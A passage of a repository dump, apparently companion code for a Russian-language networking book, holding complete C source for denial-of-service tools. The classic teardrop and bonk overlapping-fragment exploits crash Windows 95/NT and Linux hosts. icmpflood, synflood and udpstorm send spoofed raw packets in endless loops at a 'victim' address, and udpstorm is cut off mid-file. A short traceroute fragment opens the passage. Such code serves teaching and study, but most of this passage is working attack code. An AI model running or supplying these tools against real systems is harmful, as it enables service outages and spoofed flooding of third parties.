начало сохраненного IP-заголовка */ 209 | hip = (struct ip *) (recvbuf + hlen1 + 8); 210 | /* длина сохраненного IP-заголовка */ 211 | hlen2 = hip->ip_hl << 2; 212 | /* начало сохраненного UDP-заголовка */ 213 | udp = (struct udphdr *) (recvbuf + hlen1 + 8 + hlen2); 214 | 215 | if (icmp->icmp_type == ICMP_TIMXCEED && 216 | icmp->icmp_code == ICMP_TIMXCEED_INTRANS) { 217 | if (hip->ip_p == IPPROTO_UDP && 218 | udp->source == htons(sport) && 219 | udp->dest == htons(dport + seq)) 220 | return (-2); 221 | } 222 | 223 | if (icmp->icmp_type == ICMP_UNREACH) { 224 | if (hip->ip_p == IPPROTO_UDP && 225 | udp->source == htons(sport) && 226 | udp->dest == htons(dport + seq)) { 227 | if (icmp->icmp_code == ICMP_UNREACH_PORT) 228 | return (-1); 229 | } 230 | } 231 | } 232 | } 233 | 234 | 235 | 236 | /*---------------------------------*/ 237 | /* Вычитание двух timeval структур */ 238 | /*---------------------------------*/ 239 | void tv_sub(struct timeval *out, struct timeval *in) 240 | { 241 | if ( (out->tv_usec -= in->tv_usec) < 0) { 242 | out->tv_sec--; 243 | out->tv_usec += 1000000; 244 | } 245 | out->tv_sec -= in->tv_sec; 246 | } 247 | -------------------------------------------------------------------------------- /part2/Chapter 6/bonk.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | [ http://www.technotronic.com.com/ ] 4 | 5 | ==bendi - 1998== 6 | 7 | bonk.c - 5/01/1998 8 | Based On: teardrop.c by route|daemon9 & klepto 9 | Crashes *patched* win95/(NT?) machines. 10 | 11 | Basically, we set the frag offset > header length (teardrop 12 | reversed). There are many theories as to why this works, 13 | however i do not have the resources to perform extensive testing. 14 | I make no warranties. Use this code at your own risk. 15 | Rip it if you like, i've had my fun. 16 | 17 | */ 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #define FRG_CONST 0x3 31 | #define PADDING 0x1c 32 | 33 | struct udp_pkt 34 | { 35 | struct iphdr ip; 36 | struct udphdr udp; 37 | char data[PADDING]; 38 | } pkt; 39 | 40 | int udplen=sizeof(struct udphdr), 41 | iplen=sizeof(struct iphdr), 42 | datalen=100, 43 | psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING, 44 | spf_sck; /* Socket */ 45 | 46 | void usage(void) 47 | { 48 | fprintf(stderr, "Usage: ./bonk [num]\n"); 49 | exit(0); 50 | } 51 | 52 | u_long host_to_ip(char *host_name) 53 | { 54 | static u_long ip_bytes; 55 | struct hostent *res; 56 | 57 | res = gethostbyname(host_name); 58 | if (res == NULL) 59 | return (0); 60 | memcpy(&ip_bytes, res->h_addr, res->h_length); 61 | return (ip_bytes); 62 | } 63 | 64 | void quit(char *reason) 65 | { 66 | perror(reason); 67 | close(spf_sck); 68 | exit(-1); 69 | } 70 | 71 | int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, 72 | int dst_prt) 73 | { 74 | int bs; 75 | struct sockaddr_in to; 76 | 77 | memset(&pkt, 0, psize); 78 | /* Fill in ip header */ 79 | pkt.ip.version = 4; 80 | pkt.ip.ihl = 5; 81 | pkt.ip.tot_len = htons(udplen + iplen + PADDING); 82 | pkt.ip.id = htons(0x455); 83 | pkt.ip.ttl = 255; 84 | pkt.ip.protocol = IPPROTO_UDP; 85 | pkt.ip.saddr = src_addr; 86 | pkt.ip.daddr = dst_addr; 87 | pkt.ip.frag_off = htons(0x2000); /* more to come */ 88 | 89 | pkt.udp.source = htons(src_prt); /* udp header */ 90 | pkt.udp.dest = htons(dst_prt); 91 | pkt.udp.len = htons(8 + PADDING); 92 | /* send 1st frag */ 93 | 94 | to.sin_family = AF_INET; 95 | to.sin_port = src_prt; 96 | to.sin_addr.s_addr = dst_addr; 97 | 98 | bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, 99 | sizeof(struct sockaddr)); 100 | 101 | pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */ 102 | pkt.ip.tot_len = htons(iplen + FRG_CONST); 103 | /* 2nd frag */ 104 | 105 | bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, 106 | (struct sockaddr *) &to, sizeof(struct sockaddr)); 107 | 108 | return bs; 109 | } 110 | 111 | int main(int argc, char *argv[]) 112 | { 113 | u_long src_addr, 114 | dst_addr; 115 | 116 | int i, 117 | src_prt=53, 118 | dst_prt=53, 119 | bs = 1, 120 | pkt_count = 10; /* Default amount */ 121 | 122 | if (argc < 3) 123 | usage(); 124 | 125 | if (argc == 4) 126 | pkt_count = atoi(argv[3]); /* 10 does the trick */ 127 | 128 | /* Resolve hostnames */ 129 | 130 | src_addr = host_to_ip(argv[1]); 131 | if (!src_addr) 132 | quit("bad source host"); 133 | dst_addr = host_to_ip(argv[2]); 134 | if (!dst_addr) 135 | quit("bad target host"); 136 | 137 | spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 138 | if (!spf_sck) 139 | quit("socket()"); 140 | if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs, 141 | sizeof(bs)) < 0) 142 | quit("IP_HDRINCL"); 143 | 144 | for (i = 0; i < pkt_count; ++i) 145 | { 146 | fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); 147 | usleep(10000); 148 | } 149 | 150 | printf("Done.\n"); 151 | } 152 | 153 | -------------------------------------------------------------------------------- /part2/Chapter 6/icmpflood.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | /*--------------------------------------*/ 12 | /* Преобразование имени узла в IP-адрес */ 13 | /*--------------------------------------*/ 14 | unsigned long resolve(char *hostname) 15 | { 16 | struct hostent *hp; 17 | 18 | if ( (hp = gethostbyname(hostname)) == NULL) { 19 | herror("gethostbyname() failed"); 20 | exit(-1); 21 | } 22 | 23 | return *(unsigned long *)hp->h_addr_list[0]; 24 | } 25 | 26 | /*------------------------------*/ 27 | /* Вычисление контрольной суммы */ 28 | 29 | /*------------------------------*/ 30 | unsigned short in_cksum(unsigned short *addr, int len) 31 | { 32 | unsigned short result; 33 | unsigned int sum = 0; 34 | 35 | /* складываем все двухбайтовые слова */ 36 | while (len > 1) { 37 | sum += *addr++; 38 | len -= 2; 39 | } 40 | 41 | /* если остался лишний байт, прибавляем его к сумме */ 42 | if (len == 1) 43 | sum += *(unsigned char*) addr; 44 | 45 | sum = (sum >> 16) + (sum & 0xFFFF); 46 | /* добавляем перенос */ 47 | sum += (sum >> 16); 48 | /* еще раз */ 49 | result = ~sum; 50 | /* инвертируем результат */ 51 | return result; 52 | } 53 | 54 | /*------------------------*/ 55 | /* Главная функция main() */ 56 | /*------------------------*/ 57 | 58 | int main(int argc, char *argv[]) 59 | { 60 | int sd; 61 | const int on = 1; 62 | int rnd = 0; 63 | unsigned long dstaddr, srcaddr; 64 | struct sockaddr_in servaddr; 65 | 66 | char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400]; 67 | struct iphdr *ip_hdr = (struct iphdr *)sendbuf; 68 | struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr)); 69 | 70 | if (argc != 3) 71 | { 72 | fprintf(stderr, 73 | "Usage: %s \n", 74 | argv[0]); 75 | exit (-1); 76 | } 77 | 78 | /* создаем raw-сокет */ 79 | if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 80 | perror("socket() failed"); 81 | exit(-1); 82 | } 83 | 84 | /* так как будем самостоятельно заполнять IP-заголовок, 85 | то устанавливаем опцию IP_HDRINCL */ 86 | if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { 87 | perror("setsockopt() failed"); 88 | exit(-1); 89 | } 90 | 91 | /* даем возможность посылать широковещательные сообщения */ 92 | if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) { 93 | perror("setsockopt() failed"); 94 | exit(-1); 95 | } 96 | 97 | /* если в первом аргументе командной строки указано random, 98 | то IP-адрес источника выбирается случайным образом */ 99 | if (!strcmp(argv[1], "random")) { 100 | rnd = 1; 101 | srcaddr = random(); 102 | } else 103 | srcaddr = resolve(argv[1]); 104 | 105 | /* IP-адрес жертвы */ 106 | dstaddr = resolve(argv[2]); 107 | 108 | bzero(&servaddr, sizeof(servaddr)); 109 | servaddr.sin_family = AF_INET; 110 | servaddr.sin_addr.s_addr = dstaddr; 111 | 112 | /* заполняем IP-заголовок */ 113 | ip_hdr->ihl = 5; 114 | ip_hdr->version = 4; 115 | ip_hdr->tos = 0; 116 | ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400); 117 | ip_hdr->id = 0; 118 | ip_hdr->frag_off = 0; 119 | ip_hdr->ttl = 255; 120 | ip_hdr->protocol = IPPROTO_ICMP; 121 | ip_hdr->check = 0; 122 | ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr)); 123 | ip_hdr->saddr = srcaddr; 124 | ip_hdr->daddr = dstaddr; 125 | 126 | /* заполняем ICMP-заголовок */ 127 | icmp_hdr->icmp_type = ICMP_ECHO; 128 | icmp_hdr->icmp_code = 0; 129 | icmp_hdr->icmp_id = 1; 130 | icmp_hdr->icmp_seq = 1; 131 | icmp_hdr->icmp_cksum = 0; 132 | icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400); 133 | 134 | /* в бесконечном цикле отправляем пакеты */ 135 | while (1) { 136 | if (sendto(sd, 137 | sendbuf, 138 | sizeof(sendbuf), 139 | 0, 140 | (struct sockaddr *)&servaddr, 141 | sizeof(servaddr)) < 0) { 142 | perror("sendto() failed"); 143 | exit(-1); 144 | } 145 | 146 | /* взять новый случайный IP-адрес источника, если 147 | в первом аргументе командной строки было указано random */ 148 | if (rnd) 149 | ip_hdr->saddr = random(); 150 | } 151 | 152 | return 0; 153 | } 154 | -------------------------------------------------------------------------------- /part2/Chapter 6/synflood.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | /*--------------------------------------*/ 12 | /* Преобразование имени узла в IP-адрес */ 13 | /*--------------------------------------*/ 14 | unsigned long resolve(char *hostname) 15 | { 16 | struct hostent *hp; 17 | 18 | if ( (hp = gethostbyname(hostname)) == NULL) { 19 | herror("gethostbyname() failed"); 20 | exit(-1); 21 | } 22 | 23 | return *(unsigned long *)hp->h_addr_list[0]; 24 | } 25 | 26 | /*------------------------------*/ 27 | /* Вычисление контрольной суммы */ 28 | /*------------------------------*/ 29 | unsigned short in_cksum(unsigned short *addr, int len) 30 | { 31 | unsigned short result; 32 | unsigned int sum = 0; 33 | 34 | /* складываем все двухбайтовые слова */ 35 | while (len > 1) 36 | { 37 | sum += *addr++; 38 | len -= 2; 39 | } 40 | 41 | /* если остался лишний байт, прибавляем его к сумме */ 42 | if (len == 1) 43 | sum += *(unsigned char*) addr; 44 | 45 | sum=(sum >> 16) + (sum & 0xFFFF); 46 | /* добавляем перенос */ 47 | sum += (sum >> 16); 48 | /* еще раз */ 49 | result = ~sum; 50 | /* инвертируем результат */ 51 | return result; 52 | } 53 | 54 | /*--------------------------------*/ 55 | /* Формирование и отправка пакета */ 56 | /*--------------------------------*/ 57 | sendpacket(int sockd, unsigned long srcaddr, 58 | unsigned long dstaddr, 59 | int sport, 60 | int dport) 61 | { 62 | 63 | struct sockaddr_in servaddr; 64 | 65 | /* структура псевдозаголовка */ 66 | struct pseudohdr 67 | { 68 | unsigned int source_address; 69 | unsigned int dest_address; 70 | unsigned char place_holder; 71 | unsigned char protocol; 72 | unsigned short length; 73 | } pseudo_hdr; 74 | 75 | char sendbuf[sizeof(struct iphdr) + sizeof(struct tcphdr)]; 76 | struct iphdr *ip_hdr = (struct iphdr *) sendbuf; 77 | struct tcphdr *tcp_hdr = (struct tcphdr *) (sendbuf + sizeof(struct iphdr)); 78 | unsigned char * 79 | pseudo_packet; /* указатель на псевдопакет */ 80 | 81 | /* заполняем IP-заголовок */ 82 | ip_hdr->ihl = 5; 83 | ip_hdr->version = 4; 84 | ip_hdr->tos = 0; 85 | ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr)); 86 | ip_hdr->id = 0; 87 | ip_hdr->frag_off = 0; 88 | ip_hdr->ttl = 255; 89 | ip_hdr->protocol = IPPROTO_TCP; 90 | ip_hdr->check = 0; 91 | ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr)); 92 | ip_hdr->saddr = srcaddr; 93 | ip_hdr->daddr = dstaddr; 94 | 95 | /* заполняем псевдозаголовок */ 96 | pseudo_hdr.source_address = srcaddr; 97 | pseudo_hdr.dest_address = dstaddr; 98 | pseudo_hdr.place_holder = 0; 99 | pseudo_hdr.protocol = IPPROTO_TCP; 100 | pseudo_hdr.length = htons(sizeof(struct tcphdr)); 101 | 102 | /* заполняем TCP-заголовок */ 103 | tcp_hdr->source = htons(sport); 104 | tcp_hdr->dest = htons(dport); 105 | tcp_hdr->seq = htons(getpid()); 106 | tcp_hdr->ack_seq = 0; 107 | tcp_hdr->res1 = 0; 108 | tcp_hdr->doff = 5; 109 | tcp_hdr->fin = 0; 110 | tcp_hdr->syn = 1; 111 | tcp_hdr->rst = 0; 112 | tcp_hdr->psh = 0; 113 | tcp_hdr->ack = 0; 114 | tcp_hdr->urg = 0; 115 | tcp_hdr->ece = 0; 116 | tcp_hdr->cwr = 0; 117 | tcp_hdr->window = htons(128); 118 | tcp_hdr->check = 0; 119 | tcp_hdr->urg_ptr = 0; 120 | 121 | /* выделяем место в памяти для формирования псевдопакета */ 122 | if ( (pseudo_packet = (char*)malloc(sizeof(pseudo_hdr) + 123 | sizeof(struct tcphdr))) == NULL) { 124 | perror("malloc() failed"); 125 | exit(-1); 126 | } 127 | 128 | /* копируем псевдозаголовок в начало псевдопакета */ 129 | memcpy(pseudo_packet, &pseudo_hdr, sizeof(pseudo_hdr)); 130 | 131 | /* затем копируем TCP-заголовок */ 132 | memcpy(pseudo_packet + sizeof(pseudo_hdr), sendbuf + 133 | sizeof(struct iphdr), sizeof(struct tcphdr)); 134 | 135 | /* теперь можно вычислить контрольную сумму в TCP-заголовке */ 136 | tcp_hdr->check = in_cksum((unsigned short *)pseudo_packet, 137 | sizeof(pseudo_hdr) + sizeof(struct tcphdr)); 138 | 139 | bzero(&servaddr, sizeof(servaddr)); 140 | servaddr.sin_family = AF_INET; 141 | servaddr.sin_port = htons(dport); 142 | servaddr.sin_addr.s_addr = dstaddr; 143 | 144 | /* отправляем пакет */ 145 | if (sendto(sockd, 146 | sendbuf, 147 | sizeof(sendbuf), 148 | 0, 149 | (struct sockaddr *)&servaddr, 150 | sizeof(servaddr)) < 0) { 151 | perror("sendto() failed"); 152 | exit(-1); 153 | } 154 | 155 | } 156 | 157 | /*------------------------*/ 158 | 159 | /* Главная функция main() */ 160 | /*------------------------*/ 161 | int main(int argc, char *argv[]) 162 | { 163 | int sd; 164 | const int on = 1; 165 | unsigned long ip_src, ip_dst; 166 | int port_src, port_dst; 167 | int rnd_ip = 0; 168 | int rnd_port = 0; 169 | 170 | if (argc != 5) 171 | { 172 | fprintf(stderr, 173 | "Usage: %s \n", 174 | argv[0]); 175 | exit(-1); 176 | } 177 | 178 | /* создаем raw-сокет */ 179 | if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 180 | { 181 | perror("socket() failed"); 182 | exit(-1); 183 | } 184 | 185 | /* так как будем самостоятельно заполнять IP-заголовок, то 186 | устанавливаем опцию IP_HDRINCL */ 187 | if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) 188 | { 189 | perror("setsockopt() failed"); 190 | exit(-1); 191 | } 192 | 193 | /* если в первом аргументе командной строки указано random, то 194 | IP-адрес источника выбирается случайным образом */ 195 | if (!strcmp(argv[1], "random")) { 196 | rnd_ip = 1; 197 | ip_src = random(); 198 | } else 199 | ip_src = resolve(argv[1]); 200 | 201 | /* если во втором аргументе командной строки указано random, то 202 | порт источника выбирается случайным образом */ 203 | if (!strcmp(argv[2], "random")) { 204 | rnd_port = 1; 205 | port_src = rand() % 65536; 206 | } else 207 | port_src = atoi(argv[2]); 208 | 209 | /* IP-адрес жертвы */ 210 | 211 | ip_dst = resolve(argv[3]); 212 | 213 | /* порт жертвы */ 214 | port_dst = atoi(argv[4]); 215 | 216 | /* в бесконечном цикле отправляем пакеты */ 217 | while(1) { 218 | sendpacket(sd, ip_src, ip_dst, port_src, port_dst); 219 | if (rnd_ip) 220 | ip_src = random(); 221 | if (rnd_port) 222 | port_src = rand() % 65536; 223 | } 224 | 225 | return 0; 226 | } 227 | 228 | -------------------------------------------------------------------------------- /part2/Chapter 6/teardrop.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1997 route|daemon9 11.3.97 3 | * 4 | * Linux/NT/95 Overlap frag bug exploit 5 | * 6 | * Exploits the overlapping IP fragment bug present in all Linux kernels and 7 | * NT 4.0 / Windows 95 (others?) 8 | * 9 | * Based off of: flip.c by klepto 10 | * Compiles on: Linux, *BSD* 11 | * 12 | * gcc -O2 teardrop.c -o teardrop 13 | * OR 14 | * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING 15 | */ 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #ifdef STRANGE_BSD_BYTE_ORDERING_THING 30 | /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ 31 | #define FIX(n) (n) 32 | #else /* OpenBSD 2.1, all Linux */ 33 | #define FIX(n) htons(n) 34 | #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ 35 | 36 | #define IP_MF 0x2000 /* More IP fragment en route */ 37 | #define IPH 0x14 /* IP header size */ 38 | #define UDPH 0x8 /* UDP header size */ 39 | #define PADDING 0x1c /* datagram frame padding for first packet */ 40 | #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ 41 | #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can 42 | * withstand maybe 5 or 10 sometimes... Experiment. 43 | */ 44 | void usage(u_char *); 45 | u_long name_resolve(u_char *); 46 | u_short in_cksum(u_short *, int); 47 | void send_frags(int, u_long, u_long, u_short, u_short); 48 | 49 | int main(int argc, char **argv) 50 | { 51 | int one = 1, count = 0, i, rip_sock; 52 | u_long src_ip = 0, dst_ip = 0; 53 | u_short src_prt = 0, dst_prt = 0; 54 | struct in_addr addr; 55 | 56 | fprintf(stderr, "teardrop route|daemon9\n\n"); 57 | 58 | if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 59 | { 60 | perror("raw socket"); 61 | exit(1); 62 | } 63 | if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) 64 | < 0) 65 | { 66 | perror("IP_HDRINCL"); 67 | exit(1); 68 | } 69 | if (argc < 3) usage(argv[0]); 70 | if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) 71 | { 72 | fprintf(stderr, "What the hell kind of IP address is that?\n"); 73 | exit(1); 74 | } 75 | 76 | while ((i = getopt(argc, argv, "s:t:n:")) != EOF) 77 | { 78 | switch (i) 79 | { 80 | case 's': /* source port (should be emphemeral) */ 81 | src_prt = (u_short)atoi(optarg); 82 | break; 83 | case 't': /* dest port (DNS, anyone?) */ 84 | dst_prt = (u_short)atoi(optarg); 85 | break; 86 | case 'n': /* number to send */ 87 | count = atoi(optarg); 88 | break; 89 | default : 90 | usage(argv[0]); 91 | break; /* NOTREACHED */ 92 | } 93 | } 94 | srandom((unsigned)(time((time_t)0))); 95 | if (!src_prt) src_prt = (random() % 0xffff); 96 | if (!dst_prt) dst_prt = (random() % 0xffff); 97 | if (!count) count = COUNT; 98 | 99 | fprintf(stderr, "Death on flaxen wings:\n"); 100 | addr.s_addr = src_ip; 101 | fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); 102 | addr.s_addr = dst_ip; 103 | fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); 104 | fprintf(stderr, " Amt: %5d\n", count); 105 | fprintf(stderr, "[ "); 106 | 107 | for (i = 0; i < count; i++) 108 | { 109 | send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 110 | fprintf(stderr, "b00m "); 111 | usleep(500); 112 | } 113 | fprintf(stderr, "]\n"); 114 | return (0); 115 | } 116 | 117 | /* 118 | * Send two IP fragments with pathological offsets. We use an implementation 119 | * independent way of assembling network packets that does not rely on any of 120 | * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). 121 | */ 122 | 123 | void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, 124 | u_short dst_prt) 125 | { 126 | u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ 127 | u_char byte; /* a byte */ 128 | struct sockaddr_in sin; /* socket protocol structure */ 129 | 130 | sin.sin_family = AF_INET; 131 | sin.sin_port = src_prt; 132 | sin.sin_addr.s_addr = dst_ip; 133 | 134 | /* 135 | * Grab some memory for our packet, align p_ptr to point at the beginning 136 | * of our packet, and then fill it with zeros. 137 | */ 138 | packet = (u_char *)malloc(IPH + UDPH + PADDING); 139 | p_ptr = packet; 140 | bzero((u_char *)p_ptr, IPH + UDPH + PADDING); 141 | 142 | byte = 0x45; /* IP version and header length */ 143 | memcpy(p_ptr, &byte, sizeof(u_char)); 144 | p_ptr += 2; /* IP TOS (skipped) */ 145 | *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ 146 | p_ptr += 2; 147 | *((u_short *)p_ptr) = htons(242); /* IP id */ 148 | p_ptr += 2; 149 | *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ 150 | p_ptr += 2; 151 | *((u_short *)p_ptr) = 0x40; /* IP TTL */ 152 | byte = IPPROTO_UDP; 153 | memcpy(p_ptr + 1, &byte, sizeof(u_char)); 154 | p_ptr += 4; /* IP checksum filled in by kernel */ 155 | *((u_long *)p_ptr) = src_ip; /* IP source address */ 156 | p_ptr += 4; 157 | *((u_long *)p_ptr) = dst_ip; /* IP destination address */ 158 | p_ptr += 4; 159 | *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ 160 | p_ptr += 2; 161 | *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ 162 | p_ptr += 2; 163 | *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ 164 | 165 | if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, 166 | sizeof(struct sockaddr)) == -1) 167 | { 168 | perror("\nsendto"); 169 | free(packet); 170 | exit(1); 171 | } 172 | 173 | /* We set the fragment offset to be inside of the previous packet's 174 | * payload (it overlaps inside the previous packet) but do not include 175 | * enough payload to cover complete the datagram. Just the header will 176 | * do, but to crash NT/95 machines, a bit larger of packet seems to work 177 | * better. 178 | */ 179 | p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ 180 | *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); 181 | p_ptr += 4; /* IP offset is 6 bytes into the header */ 182 | *((u_short *)p_ptr) = FIX(MAGIC); 183 | 184 | if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, 185 | sizeof(struct sockaddr)) == -1) 186 | { 187 | perror("\nsendto"); 188 | free(packet); 189 | exit(1); 190 | } 191 | free(packet); 192 | } 193 | 194 | u_long name_resolve(u_char *host_name) 195 | { 196 | struct in_addr addr; 197 | struct hostent *host_ent; 198 | 199 | if ((addr.s_addr = inet_addr(host_name)) == -1) 200 | { 201 | if (!(host_ent = gethostbyname(host_name))) return (0); 202 | bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); 203 | } 204 | return (addr.s_addr); 205 | } 206 | 207 | void usage(u_char *name) 208 | { 209 | fprintf(stderr, 210 | "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", 211 | name); 212 | exit(0); 213 | } 214 | 215 | /* EOF */ 216 | -------------------------------------------------------------------------------- /part2/Chapter 6/udpstorm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | /*--------------------------------------*/ 12 | /* Преобразование имени узла в IP-адрес */ 13 | /*--------------------------------------*/ 14 | unsigned long resolve(char *hostname) 15 | { 16 | struct hostent *hp; 17 | 18 | if ( (hp = gethostbyname(hostname)) == NULL) { 19 | herror("gethostbyname() failed"); 20 | exit(-1); 21 | } 22 | 23 | return *(unsigned long *)hp->h_addr_list[0]; 24 | } 25 | 26 | /*------------------------------*/ 27 | /* Вычисление контрольной суммы */ 28 | /*------------------------------*/ 29 | unsigned short in_cksum(unsigned short *addr, int len) 30 | { 31 | unsigned short result; 32 | unsigned int sum = 0; 33 | 34 | /* складываем все двухбайтовые слова */ 35 | while (len > 1) 36 | { 37 | sum += *addr++; 38 | len -= 2; 39 | } 40 | 41 | /* если остался лишний байт, прибавляем его к сумме */ 42 | if (len == 1) 43 | sum += *(unsigned char*) addr; 44 | 45 | sum = (sum >> 16) + (sum & 0xFFFF); 46 | /* добавляем перенос */ 47 | sum += (sum >> 16); 48 | /* еще раз */ 49 | result = ~sum; 50 | /* инвертируем результат */ 51 | return result; 52 | } 53 | 54 | 55 | /*------------------------*/ 56 | /* Главная функция main() */ 57 | /*------------------------*/ 58 | int main(int argc, char *argv[]) 59 | { 60 | int sd; 61 | const int on = 1; 62 | unsigned long dstaddr, srcaddr; 63 | int dport, sport; 64 | struct sockaddr_in servaddr; 65 | 66 | /* структура псевдозаголовка */ 67 | struct pseudohdr 68 | { 69 | unsigned int source_address; 70 | unsigned int dest_address; 71 | unsigned char place_holder; 72 | unsigned char protocol; 73 | unsigned short length; 74 | } pseudo_hdr; 75 | 76 | char sendbuf[sizeof(struct iphdr) + sizeof(struct udphdr)]; 77 | struct iphdr *ip_hdr = (struct iphdr *)sendbuf; 78 | struct udphdr *udp_hdr = (struct udphdr *) (sendbuf + sizeof(struct iphdr)); 79 | unsigned char *pseudo_packet; 80 | /* указатель на псевдопакет */ 81 | 82 | if (argc != 5) 83 | { 84 | fprintf(stderr, 85 | "Usage: %s \n", 86 | argv[0]); 87 | exit(-1); 88 | } 89 | 90 | 91 | /* создаем raw-сокет */ 92 | if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 93 | { 94 | perror("socket() failed"); 95 | exit(-1); 96 | } 97 | 98 | /* так как будем самостоятельно заполнять IP-заголовок, 99 | то устанавливаем опцию IP_HDRINCL */ 100 | if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) 101 | { 102 | perror("setsockopt() failed"); 103 | exit(-1); 104 | } 105 | 106 | srcaddr = resolve(argv[1]); 107 | /* IP-адрес источника */ 108 | sport = atoi(argv[2]); 109 | /* порт источника */ 110 | 111 | dstaddr = resolve(argv[3]); 112 | /* IP-адрес жертвы */ 113 | dport = atoi(argv[4]); 114 | /* порт жертвы */ 115 | 116 | bzero(&servaddr, sizeof(servaddr)); 117 | servaddr.sin_family = AF_INET; 118 | servaddr.sin_port = htons(dport); 119 | servaddr.sin_addr.s_addr = dstaddr; 120 | 121 | /* заполняем IP-заголовок */ 122 | ip_hdr->ihl = 5; 123 | ip_hdr->version = 4; 124 | ip_hdr->tos = 0; 125 | ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)); 126 | ip_hdr->id = 0; 127 | ip_hdr->frag_off = 0; 128 | ip_hdr->ttl = 255; 129 | ip_hdr->protocol = IPPROTO_UDP; 130 | ip_hdr->check = 0; 131 | ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr)); 132 | 133 | ip_hdr->saddr = srcaddr; 134 | ip_hdr->daddr = dstaddr; 135 | 136 | /* заполняем псевдозаголовок */ 137 | pseudo_hdr.source_address = srcaddr; 138 | pseudo_hdr.dest_address = dstaddr; 139 | pseudo_hdr.place_holder = 0; 140 | pseudo_hdr.protocol = IPPROTO_UDP; 141 | pseudo_hdr.length = htons(sizeof(struct udphdr)); 142 | 143 | /* заполняем UDP-заголовок */ 144 | udp_hdr->source = htons(sport); 145 | udp_hdr->dest = htons(dport); 146 | udp_hdr->len = htons(sizeof(struct udphdr)); 147 | udp_hdr->check = 0; 148 | 149 | /* выделяем место в памяти для формирования псевдопакета */ 150 | if ( (pseudo_packet = (char*)malloc(sizeof(pseudo_hdr) + 151 | sizeof(struct udphdr))) == NULL) { 152 | perror("malloc() failed"); 153 | exit(-1); 154 | } 155 | 156 | /* копируем псевдозаголовок в начало псевдопакета */ 157 | memcpy(pseudo_packet, &pseudo_hdr, sizeof(pseudo_hdr)); 158 | 159 | /* затем копируем UDP-заголовок */ 160 | memcpy(pseudo_packet + sizeof(pseudo_hdr), sendbuf + 161 | sizeof(struct iphdr), sizeof(struct udphdr)); 162 | 163 | /* теперь можно вычислить контрольную сумму в UDP-заголовке */ 164 | if ( (udp_hdr->check = in_cksum((unsigned short *)pseudo_packet, 165 | sizeof(pseudo_hdr) + sizeof(struct udphdr))) == 0) 166 | udp_hdr->check = 0xffff; 167 | 168 | /* в бесконечном цикле отправляем пакеты */ 169 | while (1) { 170 | if (sendto(sd, 171 | 